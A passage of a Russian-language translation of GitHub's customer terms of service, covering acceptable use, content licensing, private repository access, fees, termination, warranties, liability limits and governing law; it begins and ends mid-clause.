соответствует его уровню обслуживания. + +## C. Соблюдение законов; Приемлемое использование; Конфиденциальность + +### 1. Соблюдение законодательства +Использование Клиентом Продуктов не должно нарушать никакое применимое право, включая законы об авторском праве или товарных знаках, законы об экспортном контроле или правила в его юрисдикции. + +### 2. Допустимое использование +Использование Клиентом Сервиса должно соответствовать [Политикам допустимого использования GitHub](/articles/github-acceptable-use-policies) и [Правилам сообщества GitHub](/articles/github-community-guidelines). Клиент не должен использовать Сервис ни в какой юрисдикции для незаконного, непристойного, оскорбительного или мошеннического Контента или деятельности, такой как пропаганда или причинение вреда, вмешательство или нарушение целостности или безопасности сети или системы, уклонение от фильтров, отправка нежелательных, оскорбительных или вводящих в заблуждение сообщений, вирусов или вредоносного кода или нарушение прав третьих лиц. + +### 3. Конфиденциальность +[Заявление о конфиденциальности GitHub](/articles/github-privacy-statement) и [Соглашение о защите данных GitHub](/github/site-policy/github-data-protection-agreement-non-enterprise-customers) содержат подробное описание методов обеспечения конфиденциальности и использования данных GitHub, а также обязательств GitHub по обработке и обеспечению безопасности в отношении Персональных данных клиента. Любое физическое, юридическое лицо или служба, собирающие данные Сервиса, должны соблюдать Заявление о конфиденциальности GitHub, в частности в отношении сбора Личной информации пользователя (как определено в Заявлении о конфиденциальности GitHub). Если Клиент собирает какую-либо персональную информацию из GitHub, Клиент будет использовать ее только в целях, для которых Внешний пользователь разрешил ее использовать. Клиент будет разумно защищать любую такую Личную информацию, и Клиент будет незамедлительно реагировать на жалобы, запросы на удаление и запросы «не связываться» от GitHub или Внешних пользователей. + +## D. Ответственность за Контент; Право собственности; Лицензионные права + +### 1. Ответственность за пользовательский контент +Клиент может создавать или загружать Пользовательский контент во время использования Сервиса. Клиент несет единоличную ответственность за любой Пользовательский контент, который он публикует, загружает, на который он дает ссылку или которой он иным образом делает доступным через Сервис, независимо от формы этого Пользовательского контента. GitHub не несет ответственности за публичный показ или неправомерное использование Пользовательского контента. + +### 2. Право собственности на контент, право на публикацию и предоставление лицензий +Клиент сохраняет за собой право собственности на Контент клиента, который Клиент создает или которым он владеет. Клиент подтверждает, что он: (a) несет ответственность за Контент клиента, (b) будет предоставлять Контент клиента только в том случае, если Клиент имеет право публиковать (включая Контент третьих лиц или Пользовательский контент), и (c) будет полностью соблюдать любые сторонние лицензии, касающиеся Контента клиента, который Клиент публикует. +Клиент предоставляет права, изложенные в Разделах D.3 – D.6, бесплатно и для целей, указанных в этих разделах, до тех пор, пока Клиент не удалит Контент клиента с серверов GitHub, за исключением Контента, который был публично размещен Клиентом и для которого Внешними пользователями была создана вилка, и в этом случае лицензия является бессрочной до тех пор, пока все вилки Контента клиента не будут удалены с серверов GitHub. Если Клиент загружает Контент клиента, который уже поставляется с лицензией, предоставляющей GitHub разрешения, необходимые для запуска Сервиса, дополнительная лицензия не требуется. + +### 3. Предоставление лицензии нам +Клиент предоставляет GitHub право хранить, архивировать, анализировать и отображать Контент клиента, а также делать вспомогательные копии только в том случае, если это необходимо для предоставления Сервиса, включая улучшение Сервиса с течением времени. Эта лицензия включает право копировать Контент клиента в базу данных GitHub и делать резервные копии; отображать Контент клиента Клиенту и тем, кому Клиент решит его показывать; анализировать Контент клиента для включения в поисковый индекс или иным образом анализировать его на серверах GitHub; делиться Контентом клиента с Внешними пользователями, с которым Клиент решит поделиться им; и воспроизводить Контент клиента, если это что-то вроде музыки или видео. Эти права распространяются как на общедоступные, так и на Частные репозитории. Эта лицензия не дает GitHub права продавать Контент клиента. Это также не дает GitHub права распространять или использовать Контент клиента иным образом помимо предоставления нами Сервиса, за исключением того, что в рамках права на архивирование Контента клиента GitHub может разрешить нашим партнерам хранить и архивировать Контент клиента в общедоступных репозиториях в связи с GitHub Arctic Code Vault и GitHub Archive Program. Клиент предоставляет GitHub права, необходимые для использования Контента клиента без указания авторства и для внесения разумных изменений в Контент клиента, необходимых для предоставления Сервиса. + +### 4. Предоставление лицензии внешним пользователям +Любой Контент, публикуемый Клиентом публично, включая вопросы, комментарии и материалы в репозиториях Внешних пользователей, может просматриваться другими лицами. Настраивая свои репозитории для публичного просмотра, Клиент соглашается разрешить Внешним пользователям просматривать и создавать вилки репозиториев Клиента. +Если Клиент настраивает свои страницы и репозитории для публичного просмотра, Клиент предоставляет Внешним пользователям неисключительную международную лицензию на использование, отображение и исполнение Контента клиента через Сервис и воспроизведение Контента клиента исключительно в Сервисе с использованием функций, предоставляемых GitHub (например, создание вилок). Клиент может предоставить дополнительные права на Контент клиента, если Клиент примет лицензию. Если Клиент загружает Контент клиента, который он не создавал и которым он не владел, Клиент несет ответственность за обеспечение того, чтобы загружаемый им Контент клиента был лицензирован в соответствии с условиями, которые предоставляют эти разрешения Внешним пользователям. + +### 5. Вклады по лицензии репозитория +Всякий раз, когда Клиент добавляет Контент в репозиторий, содержащий уведомление о лицензии, он лицензирует этот Контент на тех же условиях и соглашается с тем, что он имеет право лицензировать этот Контент на этих условиях. Если у Клиента есть отдельное соглашение о лицензировании этого Контента на других условиях, например, лицензионное соглашение участника, такое соглашение будет иметь преимущественную силу. + +### 6. Моральные права +Клиент сохраняет за собой все моральные права на Контент клиента, который он загружает, публикует или отправляет в любую часть Сервиса, включая права на целостность и установление авторства. Однако Клиент отказывается от этих прав и соглашается не предъявлять их к GitHub исключительно для того, чтобы позволить GitHub разумно осуществлять права, предоставленные в Разделе D, но не в иных целях. + +## Е. Частные репозитории + +### 1. Контроль +Клиент несет ответственность за управление доступом к своим Частным репозиториям, включая приглашения, административный контроль за Организациями и командами, а также за доступом. + +### 2. Конфиденциальность +GitHub считает Контент клиента в Личных репозиториях клиента Конфиденциальной информацией клиента. GitHub будет защищать Контент клиента в частных репозиториях и соблюдать его строгую конфиденциальность в соответствии с Разделом P. + +### 3. Доступ +Персонал GitHub может получить доступ к Частным репозиториям клиента только в ситуациях, описанных в нашем [Заявлении о конфиденциальности](/github/site-policy/github-privacy-statement#repository-contents). + +Клиент может разрешить дополнительный доступ к своим Частным репозиториям. Например, Клиент может включить различные службы или функции GitHub, для которых требуются дополнительные права на Контент клиента в частных репозиториях. Эти права могут различаться в зависимости от службы или функции, но GitHub продолжит рассматривать Контент клиента в Частных репозиториях клиента как Конфиденциальную информацию клиента. Если для этих служб или функций требуются права в дополнение к тем, которые необходимы для предоставления Сервиса, GitHub даст объяснение по поводу этих прав. + +Кроме того, мы можем быть [обязаны по закону](/github/site-policy/github-privacy-statement#for-legal-disclosure) раскрывать содержимое ваших личных репозиториев. + +GitHub предоставит уведомление о нашем доступе к содержимому частного репозитория, если только речь не идет [о раскрытии информации по запросу](/github/site-policy/github-privacy-statement#for-legal-disclosure), для выполнения наших юридических обязательств или при наличии иных обязательств в соответствии с требованиями закона, для автоматического сканирования или в ответ на угрозу безопасности или другой риск для безопасности. + +## F. Уведомление об интеллектуальной собственности + +### 1. Права GitHub на контент +Внешний вид Сервиса защищен авторским правом © GitHub, Inc. Все права защищены. Клиент не может дублировать, копировать или повторно использовать какую-либо часть HTML/CSS, Javascript или элементов или концепций визуального дизайна без письменного разрешения GitHub. + +### 2. Торговые марки и логотипы GitHub +Если Клиент хочет использовать товарные знаки GitHub, Клиент должен следовать всем правилам использования товарных знаков GitHub, в том числе на [странице логотипов](https://github.com/logos) GitHub. + +### 3. Лицензия на политики GitHub +Настоящее Соглашение распространяется под [Нулевой лицензией Creative Commons](https://creativecommons.org/publicdomain/zero/1.0/). Подробности смотрите в нашем [репозитории политики сайта](https://github.com/github/site-policy#license). + +### 4. Нарушение авторских прав и политика DMCA +Если Клиент является владельцем авторских прав и считает, что Контент в Сервисе нарушает авторские права Клиента, Клиент может уведомить GitHub в соответствии с [Политикой Закона об авторском праве в цифровую эпоху](/articles/dmca-takedown-policy/) посредством [формы DMCA](https://github.com/contact/dmca) или по электронной почте copyright@github.com. + +### 5. Права на интеллектуальную собственность защищены +В отношениях между Сторонами GitHub владеет всеми правами, титулами и интересами, включая все права на интеллектуальную собственность, в отношении Продуктов. GitHub оставляет за собой все права на Продукты, которые не предоставлены Клиенту явным образом по настоящему Соглашению. + +## G. Дополнительные условия для продуктов GitHub +На некоторые функции Сервиса могут распространяться дополнительные условия, изложенные в [Дополнительных условиях для продуктов GitHub](/github/site-policy/github-additional-product-terms). Получая доступ к этим функциям или используя их, Клиент соглашается с Дополнительными условиями для продуктов GitHub. + +## H. Лицензии по подписке +Лицензии на подписку предоставляются для каждого Пользователя, несколько Пользователей не могут использовать одну и ту же Лицензию на подписку. Клиент может передать Лицензию на подписку новому Пользователю только по истечении девяноста (90) дней с момента последней передачи той же Лицензии на подписку, за исключением случаев, когда передача связана с (i) необратимым отказом или потерей оборудования, (ii) увольнением Пользователя или прекращением действия договора или (iii) временным перераспределением Лицензий на подписку для компенсации отсутствия Пользователя. Когда Клиент передает Лицензию на подписку от одного Пользователя другому, Клиент должен заблокировать доступ прежнего Пользователя к Лицензии на подписку и Организациям клиента. + +## I. Аффилированные лица +Аффилированные лица Клиента имеют право использовать Продукты в соответствии с настоящим Соглашением при условии, что Клиент несет полную ответственность за свой доступ к Продуктам и их использование. + +## J. Оплата + +### 1. Ценообразование; Сборы + +**Условия оплаты** Наши цены представлены по адресу [github.com/pricing](https://github.com/pricing) (если иное не согласовано сторонами и не указано в Форме заказа). Клиент соглашается оплатить Сборы полностью, заранее, без вычетов или взаимозачетов любого рода в долларах США. Клиент должен оплатить Сборы в течение тридцати (30) дней с даты выставления счета GitHub. Суммы, подлежащие уплате по настоящему Соглашению, не подлежат возврату, если иное не предусмотрено настоящим Соглашением. Если Клиент не уплачивает какие-либо Сборы вовремя, GitHub оставляет за собой право, в дополнение к любым другим действиям по закону или праву справедливости, (i) взимать проценты с сумм просроченных платежей в размере 1,0 % в месяц или по самой высокой процентной ставке, разрешенной законом, в зависимости от того, что меньше, и взимать все расходы по возмещению, и (ii) прекратить действие соответствующей Формы заказа или ТЗ. Клиент несет единоличную ответственность за все налоги, сборы, пошлины и государственные сборы (за исключением налогов, основанных на чистой прибыли GitHub), которые взимаются или подлежат уплате в связи с настоящим Соглашением. + +**Биллинг на основе использования** Плата за некоторые функции Сервиса взимается в зависимости от вашего использования. Ограниченное количество этих функций Сервиса может быть включено в ваш план на ограниченный срок без дополнительной оплаты. Если вы решите приобрести платные функции Сервиса сверх количества, включенного в ваш план, вы платите за эти функции Сервиса на основе фактического использования в предыдущем месяце. Ежемесячные платежи за эти покупки будут периодически взиматься по факту при условии, что для клиентов, которым выставляются счета, платные функции Сервиса оплачиваются заранее. См. [Дополнительные условия для продуктов GitHub для получения подробной информации](/github/site-policy/github-additional-product-terms). + +### 2. Приобретение дополнительных лицензий на подписку +Клиент может получить дополнительные Лицензии на подписку в соответствии с настоящим Соглашением, отправив запрос через Сервис или через отдел продаж. Если Клиент приобретает дополнительные Лицензии на подписку, Клиент должен уплатить за них действующие на тот момент Сборы, пропорциональные остатку применимого Срока подписки. При продлении Лицензий на подписку Клиента на другой Срок подписки GitHub будет ежегодно выставлять счета сразу за все Лицензии на подписку, если иное не указано в Форме заказа. + +### 3. Кредиты на профессиональные услуги. +Если Клиент использует Кредиты на профессиональные услуги для оплаты Профессиональных услуг, то после получения Клиентом ТЗ соответствующие Кредиты на профессиональные услуги будут вычтены из баланса Кредитов на профессиональные услуги Клиента. Клиент несет ответственность за то, чтобы его заказ на покупку Профессиональных услуг, выданный GitHub, отражал цены, указанные в ТЗ. При наличии разницы в ценах, указанных в ТЗ, и ценах, указанных в заказе на покупку Клиента, цены в ТЗ будут иметь преимущественную силу. Стороны соглашаются с тем, что ТЗ, подлежащие оплате посредством Кредитов на профессиональные услуги, не обязательно должны быть подписаны какой-либо из сторон, чтобы быть действительными и подлежащими исполнению. Все Кредиты на профессиональные услуги должны быть использованы в течение времени, указанного в Форме заказа, в противном случае они будут автоматически аннулированы и не будут подлежать возврату. Клиент не может использовать Кредиты на профессиональные услуги для покрытия расходов на проезд и проживание, счета за которые должны выставляться отдельно. + +### 4. Разрешение +Клиент уполномочивает GitHub взимать Сборы с зарегистрированной в системе кредитной карты, учетной записи PayPal или с помощью других утвержденных способов оплаты. + +## K. Срок действия; Прекращение; Приостановка + +### 1. Срок действия +Настоящее Соглашение вступает в силу с Даты вступления в силу и будет действовать до тех пор, пока не будет расторгнуто Стороной в соответствии с настоящим Разделом K. + +### 2. Прекращение в отсутствие нарушений; Аннулирование учетной записи +Любая из Сторон может расторгнуть Форму заказа (если применимо) или настоящее Соглашение без указания причины, направив предварительное письменное уведомление не менее чем за тридцать (30) дней. Если Клиент решит расторгнуть Форму заказа или Соглашение, он обязан надлежащим образом аннулировать свою учетную запись в GitHub, перейдя в «Настройки» на глобальной панели навигации в верхней части экрана. GitHub не может аннулировать учетные записи в ответ на запрос по электронной почте или телефону. + +### 3. Прекращение в связи с существенным нарушением +Любая из Сторон может расторгнуть настоящее Соглашение немедленно после получения уведомления, если другая Сторона нарушит существенное обязательство по настоящему Соглашению и не устранит нарушение в течение тридцати (30) дней с даты получения уведомления. GitHub может расторгнуть настоящее Соглашение, если Учетная запись клиента была заблокирована более чем на 90 дней. + +### 4. Последствия прекращения. +- _Формы заказа._ После прекращения действия настоящего Соглашения Клиент не может оформлять новые Формы заказа (если применимо); однако настоящее Соглашение остается в силе до конца исполнения любых активных Форм заказа. Когда Форма заказа прекращает свое действие или срок его действия истекает, в отношении этой Формы заказа: (i) Срок немедленно заканчивается; (ii) любые Лицензии на подписку в Форме заказа будут автоматически прекращены, и Клиент больше не будет иметь права использовать Сервис; (iii) если какие-либо Сборы подлежали оплате до расторжения, Клиент должен немедленно оплатить эти Сборы; (iv) каждая Сторона незамедлительно вернет (или, по запросу другой стороны, уничтожит) всю Конфиденциальную информацию, принадлежащую другой стороне, в пределах, разрешенных Сервисом. Несмотря на вышеизложенное, GitHub приложит разумные усилия, чтобы предоставить Клиенту по запросу копию своего законного, не нарушающего права Контента учетной записи; при условии, что Клиент делает этот запрос в течение 90 дней с момента прекращения, приостановки или перехода на более раннюю версию. + +- GitHub будет хранить и использовать информацию Клиента по мере необходимости для выполнения наших юридических обязательств, разрешения споров и обеспечения соблюдения соглашений GitHub, но при отсутствии юридических требований GitHub удалит полный профиль Клиента и Контент его репозиториев в течение 90 дней после прекращения или истечения срока действия (хотя некоторая информация может оставаться в зашифрованных резервных копиях). Эта информация не может быть восстановлена после удаления учетной записи Клиента. + +- GitHub не будет удалять Контент, который Клиент разместил в репозиториях Внешних пользователей или который был разветвлен Внешними пользователями. + +### 5. Приостановка +GitHub имеет право приостановить доступ ко всему Сервису или любой его части, включая удаление Контента, в любое время за нарушение настоящего Соглашения или для защиты целостности, работоспособности и безопасности Сервиса с немедленным вступлением в силу с уведомлением или без такового. Если это не запрещено законом или судебным процессом или для предотвращения неминуемого вреда Сервису или любому третьему лицу, GitHub обычно предоставляет уведомление в виде баннера или электронного письма во время или до такой приостановки. GitHub по своему усмотрению и добросовестно адаптирует любую приостановку по мере необходимости для сохранения целостности, работоспособности и безопасности Сервиса. + +### 6. Сохранение юридической силы +Все положения настоящего Соглашения, которые по своему характеру должны оставаться в силе после расторжения, остаются в силе после расторжения, включая, помимо прочего, положения о праве собственности, отказ от гарантий, возмещение убытков и ограничение ответственности. + +## L. Взаимодействие с GitHub + +### 1. Требуется электронная связь +В договорных целях Клиент (1) соглашается получать сообщения в электронной форме на указанный им адрес электронной почты или через Сервис; и (2) соглашается с тем, что все Условия обслуживания, соглашения, уведомления, раскрытия информации и другие сообщения, которые GitHub предоставляет в электронном виде, удовлетворяют любым юридическим требованиям, которым эти сообщения удовлетворяли бы, если бы они были на бумаге. Этот раздел не затрагивает права Клиента, от которых невозможно отказаться. + +### 2. Официальное уведомление GitHub должно быть в письменной форме +Сообщения, сделанные по электронной почте или через систему обмена сообщениями службы поддержки GitHub, не являются юридическим уведомлением GitHub в любой ситуации, когда уведомление GitHub требуется по контракту или какому-либо закону или постановлению. Официальное уведомление GitHub должно быть в письменной форме и должно быть [вручено юридическим агентом GitHub](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests). + +## M. Ограниченная гарантия; Отказ от ответственности. + +_Общая гарантия_. Каждая Сторона заявляет и гарантирует другой стороне, что она имеет юридическое право и полномочия для заключения настоящего Соглашения, и что настоящее Соглашение и каждая Форма заказа и ТЗ заключаются сотрудником или агентом такой Стороны со всеми необходимыми полномочиями для связывания такой Стороны условиями настоящего Соглашения. + +_Гарантия на профессиональные услуги._ Если иное не указано в ТЗ, GitHub гарантирует, что любые Профессиональные услуги, предоставляемые в соответствии с настоящим Соглашением, будут выполняться профессионально и качественно персоналом с соответствующей квалификацией. Единственным обязательством GitHub и единственным средством правовой защиты Клиента в случае нарушения данной гарантии будет по выбору и за счет GitHub одно из следующих действий: (i) незамедлительно повторно оказывать любые Профессиональные услуги, которые не соответствуют настоящей гарантии, или (ii) если нарушение не может быть устранено, расторгнуть ТЗ и возместить неиспользованные предоплаченные Сборы. + +_Отказ от ответственности за Сервис._ GitHub предоставляет Сервис **«КАК ЕСТЬ»** и **«ПО НАЛИЧИЮ»** без каких-либо гарантий. Не ограничиваясь этим, GitHub прямо отказывается от всех гарантий, явных, подразумеваемых или установленных законом, в отношении Сервиса, включая, помимо прочего, любые гарантии товарного состояния, пригодности для определенной цели, права собственности, безопасности, точности и ненарушения прав. GitHub не гарантирует, что Сервис будет соответствовать требованиям Заказчика; что Сервис будет бесперебойным, своевременным, безопасным и безошибочным; что информация, предоставляемая через Сервис, является точной, надежной или правильной; что любые дефекты или ошибки будут исправлены; что Сервис будет доступен в любое конкретное время или в любом месте; или что Сервис не содержит вирусов или других вредоносных компонентов. GitHub не несет ответственности за любой риск убытков в результате загрузки и/или использования Клиентом файлов, информации, Контента или других материалов, полученных с помощью Сервиса. + +_Отказ от ответственности за предварительные бета-версии._ Клиент может использовать предварительные бета-версии по своему усмотрению. Предварительные бета-версии могут не поддерживаться и могут быть изменены в любое время без предварительного уведомления. Предварительные бета-версии могут быть не такими надежными или доступными, как Сервис. Предварительные бета-версии не подлежат тем же мерам безопасности и аудиту, которым подлежала и подлежит Служба. GitHub не несет никакой ответственности в связи с предварительными бета-версиями. **Клиент использует предварительные бета-версии на свой страх и риск.** + +## N. Ограничение ответственности +**_Опосредованные убытки._ В максимальной степени, разрешенной применимым правом, ни одна из сторон ни при каких обстоятельствах не будет нести ответственность перед другой стороной или любым третьим лицом за любые косвенные, специальные, случайные, штрафные или косвенные убытки (включая упущенную выгоду, доход или данные) или за стоимость приобретения продуктов-заменителей, вытекающих из настоящего Соглашения или в связи с ним, независимо от того, вызвана ли такая ответственность какой-либо претензией, основанной на договоре, гарантии, гражданском правонарушении (включая небрежность), строгой ответственности или иным образом, и независимо от того, была ли сторона уведомлена о возможности таких убытков или нет.** + +**_Ограничение общей ответственности._ В максимальной степени, разрешенной применимым правом, ни при каких обстоятельствах общая совокупная ответственность любой из сторон по настоящему Соглашению по всем основаниям для исков и всем теориям ответственности не будет превышать Сборы, фактически уплаченные Клиентом GitHub в течение 12 месяцев, предшествующих иску, повлекшему за собой такую ответственность. Для продуктов и услуг (включая использование Продуктов), которые предоставляются бесплатно, ответственность GitHub ограничивается прямыми убытками в размере до 5000,00 долларов США. Для предварительных бета-версий ответственность GitHub ограничивается прямыми убытками в размере до 500,00 долларов США.** + +**_Исключения._ Исключения и ограничения, изложенные в этом Разделе N, не будут применяться к ответственности, возникающей из-за (1) нарушения Стороной своих обязательств по конфиденциальности в Разделе P (за исключением всей ответственности, связанной с Контентом (за исключением Контента GitHub), которая остается предметом ограничений и исключений, указанных выше) или (2) оборонительных обязательств Стороны в Разделе O.** + +## O. Организация защиты в связи с исками; Отказ от требований + +Стороны обязуются защищать и ограждать от ответственности друг друга в связи с требованиями третьих лиц, описанными в настоящем разделе, и выплатят сумму, присужденную любым неблагоприятным судебным решением (или сумму, предусмотренную согласованным мировым соглашением), но исключительно в случаях, если защищающая сторона немедленно уведомляется в письменной форме о таком требовании и имеет право контролировать действия по защите и достижению какого-либо мирового соглашения в связи с ним. Защищаемая Сторона должна предоставить защищающей Стороне всю запрошенную помощь, информацию и полномочия. Защищающая Сторона возместит другой Стороне разумные наличные расходы, которые она понесет при оказании помощи, и не будет урегулировать или делать какие-либо допущения в отношении претензии третьей стороны без предварительного письменного согласия другой Стороны, чтобы не получить необоснованный отказ или чтобы не произошла необоснованная задержка. В Разделе O описываются исключительные средства защиты прав Сторон и полный объем ответственности в связи с такими требованиями. + +### 1. Со стороны GitHub +GitHub будет защищать Клиента от любых претензий, предъявленных неаффилированным третьим лицом, в той мере, в какой оно утверждает, что авторизованное использование Клиентом Сервиса нарушает авторские права, патент или товарный знак или незаконно присваивает коммерческую тайну неаффилированного третьего лица. Если GitHub не может разрешить такое требование на коммерчески разумных условиях, он может по своему выбору: (a) изменять, ремонтировать или заменять Сервис (если применимо); или (b) прекратить подписку Клиента и возместить любые предоплаченные неиспользованные платежи за подписку. GitHub не будет нести никаких обязательств в соответствии с настоящим Разделом O.1 по любым таким претензиям, возникающим в связи с: i) модификацией Сервиса или комбинацией, работой или использованием Сервиса с оборудованием, устройствами, программным обеспечением, системами или данными, кроме случаев, прямо разрешенных настоящим Соглашением (включая Документацию); (ii) неспособностью Клиента прекратить использование Сервиса после получения уведомления об этом; (iii) обязательствами Заказчика в соответствии с Разделом O.2; (iv) продуктами или услугами (включая использование Сервиса), предоставляемыми GitHub бесплатно; или (v) доступом или использованием предварительных бета-версий. В целях выполнения обязательства GitHub в соответствии с настоящим Разделом O.1 Сервис содержит компоненты с открытым исходным кодом, включенные в него GitHub. + +### 2. Со стороны Клиента +Клиент обязуется защищать GitHub от любых претензий, предъявленных неаффилированным третьим лицом в связи с: (i) Контентом клиента, который Клиент загружает в Сервис; (ii) нарушением Клиентом настоящего Соглашения, включая нарушение Клиентом конфиденциальности или нарушение Раздела C; или (iii) любым оборудованием, устройствами, программным обеспечением, системами или данными сторонних производителей, которые Клиент объединяет, эксплуатирует или использует вместе с Сервисом. + +### 3. Споры с другими пользователями +Если у Клиента возник спор с одним или несколькими Пользователями, Клиент освобождает GitHub от всех претензий, требований и убытков (фактических и косвенных) любого рода и характера, известных и неизвестных, вытекающих из таких споров или каким-либо образом связанных с ними. + +## P. Конфиденциальность +Ни одна из Сторон не будет использовать Конфиденциальную информацию другой Стороны, за исключением случаев, разрешенных настоящим Соглашением. Каждая Сторона соглашается сохранять конфиденциальность и защищать Конфиденциальную информацию другой Стороны, используя по крайней мере ту же степень осторожности, что и для своей собственной информации аналогичного характера, но в любом случае, по крайней мере, с разумной степенью осторожности. Каждая Сторона соглашается принимать все разумные меры предосторожности для предотвращения любого несанкционированного раскрытия Конфиденциальной информации другой Стороны, включая, помимо прочего, раскрытие такой Конфиденциальной информации только ее Представителям, которые (i) нуждаются в знании такой информации, (ii) являются сторонами в соответствующих соглашениях, значимых для соблюдения настоящего Раздела P, и (iii) проинформированы об ограничениях на использование и раскрытие информации, изложенных в этом Разделе P. Каждая Сторона несет ответственность за все действия и бездействие своих Представителей. Вышеизложенные обязательства не ограничивают раскрытие Конфиденциальной информации другой Стороны ни одной из Сторон по распоряжению или требованию суда, административного органа или другого государственного органа _при условии_, что Сторона, обязанная сделать такое раскрытие, уведомляет другую Сторону заблаговременно, чтобы такая Сторона могла оспорить такой приказ или требование, если только такое уведомление не запрещено законом. Ограничения, изложенные в этом Разделе P, остаются в силе после расторжения или истечения срока действия настоящего Соглашения. + +## Вопрос. Профессиональные услуги +По запросу Клиента о Профессиональных услугах GitHub предоставит ТЗ с подробным описанием таких Профессиональных услуг. GitHub будет предоставлять Профессиональные услуги, описанные в каждом ТЗ. GitHub будет контролировать порядок и средства предоставления Профессиональных услуг и оставляет за собой право определять назначенный персонал. GitHub может использовать третьих лиц для оказания Профессиональных услуг при условии, что GitHub по-прежнему несет ответственность за их действия и бездействие. Клиент признает и соглашается с тем, что GitHub сохраняет за собой все права, права собственности и интересы в отношении всего, что используется или разрабатывается в связи с оказанием Профессиональных услуг, включая программное обеспечение, инструменты, спецификации, идеи, концепции, изобретения, процессы, методы и ноу-хау. В той мере, в какой GitHub предоставляет что-либо Клиенту при оказании Профессиональных услуг, GitHub предоставляет Клиенту неисключительную, не подлежащую передаче, всемирную, безвозмездную, ограниченную лицензию на использование этих результатов в течение срока действия настоящего Соглашения, исключительно в связи с использованием Клиентом Сервиса. + +## R. Изменения Сервиса или Условий +GitHub оставляет за собой право по своему усмотрению вносить поправки в настоящее Соглашение в любое время и будет обновлять настоящее Соглашение в случае внесения любых таких поправок. GitHub уведомит Клиента о существенных изменениях в настоящем Соглашении, таких как повышение цен, по крайней мере за 30 дней до вступления изменения в силу, разместив уведомление в Сервисе или отправив электронное письмо на основной адрес электронной почты, указанный в вашей учетной записи GitHub. Продолжение использования Клиентом Услуги по истечении этих 30 дней означает согласие с этими изменениями настоящего Соглашения. Что касается любых других изменений, дальнейшее использование Клиентом Сервиса означает согласие с нашими изменениями настоящего Соглашения. Клиент может просмотреть все изменения к настоящему Соглашению в нашем репозитории [Политика сайта](https://github.com/github/site-policy). + +GitHub изменяет Сервис посредством обновлений и добавления новых функций. Несмотря на вышесказанное, GitHub оставляет за собой право в любое время изменять или прекращать, временно или постоянно, Сервис (или любую его часть) с уведомлением или без него. + +## S. Поддержка +GitHub будет предоставлять стандартную техническую Поддержку для Сервиса без дополнительной оплаты двадцать четыре (24) часа в сутки, пять (5) дней в неделю, кроме выходных и государственных праздников США. Стандартная Поддержка предлагается только посредством отправки обращений по Интернет через службу поддержки GitHub, а запросы на Поддержку должны быть инициированы пользователем, с которым может взаимодействовать команда поддержки GitHub. GitHub может предоставлять премиальную Поддержку (в соответствии с условиями [Премиум-поддержки GitHub для корпоративного облака](/articles/about-github-premium-support)) или специализированную техническую Поддержку Сервиса согласно уровню Поддержки, Сборам и Срокам подписки, указанным в Форме заказа или ТЗ. + +## T. Прочие условия + +### 1. Применимое право +Если главный офис Клиента находится в Америке, настоящее Соглашение будет регулироваться и толковаться в соответствии с законами штата Калифорния, без учета принципов коллизионного права; любые судебные иски или разбирательства, возникающие в связи с настоящим Соглашением, будут подаваться исключительно в федеральные суды или суды штата, расположенные в Северном округе Калифорнии, и настоящим Стороны соглашаются на личную юрисдикцию и место проведения в нем. Если главный офис Клиента находится за пределами Америки, настоящее Соглашение будет регулироваться законодательством Ирландии, любые судебные иски или разбирательства, возникающие в связи с настоящим Соглашением, будут рассматриваться исключительно в судах, расположенных в Дублине, и Стороны настоящим соглашаются на личную юрисдикцию и место проведения в нем. Стороны прямо соглашаются с тем, что Конвенция Организации Объединенных Наций о договорах международной купли-продажи товаров и Единообразный закон о сделках с компьютерной информацией не будут применяться к настоящему Соглашению. Несмотря на любые положения об обратном в вышеизложенном, GitHub может подать иск о справедливой правовой помощи в любой суд с надлежащей юрисдикцией. + +### 2. Обратная связь +Клиент может предоставлять GitHub Обратную связь в отношении Продуктов. Обратная связь носит добровольный характер и не является Конфиденциальной информацией клиента, даже если она обозначена как таковая. GitHub может в полной мере применять и использовать такую обратную связь с целью (i) улучшения работы, функциональности и использования существующих и будущих предложений продуктов GitHub и коммерциализации таких предложений; и (ii) публикации сводных статистических данных о качестве Продуктов при условии, что никакие данные в любой такой публикации не будут использоваться для конкретной идентификации Клиента, его сотрудников или проприетарного программного кода Клиента. + +### 3. Непереуступаемость +Ни одна из Сторон не может переуступать или иным образом передавать настоящее Соглашение полностью или частично без предварительного письменного согласия другой Стороны, в таком согласии не может быть необоснованно отказано, и любая попытка сделать это будет недействительной, за исключением того, что GitHub может переуступить это Соглашение в полном объеме, после уведомления другой стороны, но без согласия другой стороны, в связи со слиянием, поглощением, корпоративной реорганизацией или продажей всего или практически всего бизнеса или активов передающей стороны. + +### 4. Отказ от прав +Отказ Стороны от обязательств по настоящему Соглашению может быть осуществлен только в письменной форме за подписью уполномоченного представителя другой Стороны. Никакое неисполнение или задержка Стороной настоящего Соглашения в осуществлении какого-либо права по настоящему Соглашению не будет действовать как отказ от него, и никакое единичное или частичное его осуществление не будет препятствовать любому другому или дальнейшему его осуществлению или осуществлению любого права по настоящему Соглашению по закону или праву справедливости. + +### 5. Независимость положений соглашения +Если какое-либо положение настоящего Соглашения будет признано судом компетентной юрисдикции незаконным, недействительным или не имеющим исковой силы, Стороны изменят или реформируют настоящее Соглашение, чтобы придать этому положению максимальную силу. Любое положение, которое не может быть изменено или исправлена таким образом, будет считаться удаленным, а остальные положения настоящего Соглашения останутся в полной силе и действии. + +### 6. Поправки; Полное соглашение; Порядок старшинства +Настоящее Соглашение может быть изменено только посредством письменной поправки, подписанной уполномоченным представителем GitHub, или посредством размещения GitHub пересмотренной версии в соответствии с Разделом R. Настоящее Соглашение представляет собой полное и исключительное соглашение между Сторонами. Настоящее Соглашение заменяет любое предложение или предварительное устное или письменное соглашение, а также любые другие сообщения между Сторонами, касающиеся предмета настоящих условий, включая любые соглашения о конфиденциальности или неразглашении. В случае каких-либо противоречий между условиями настоящего Соглашения и любой Формы заказа или ТЗ, условия Формы заказа или ТЗ имеют преимущественную силу только в отношении этой Формы заказа или ТЗ. + +### 7. Публичное использование +Если Клиент публично отображает название своей компании или организации в своей учетной записи или иным образом публично отображает свои товарные знаки или логотипы на странице своего профиля, Клиент разрешает GitHub использовать название своей компании или организации для идентификации Клиента как клиента GitHub в рекламных материалах. Клиент может отозвать это разрешение, скрыв название своей компании или организации от публичного показа и уведомив GitHub в письменной форме о прекращении использования названия своей организации в рекламных материалах. Однако GitHub не обязан удалять или отзывать любое предыдущее использование или распространение рекламных материалов. + +### 8. Форс-мажор +GitHub освобождается от ответственности в той мере, в какой он не может выполнить какое-либо обязательство по настоящему Соглашению из-за чрезвычайных обстоятельств, находящихся вне его разумного контроля, включая стихийные бедствия, 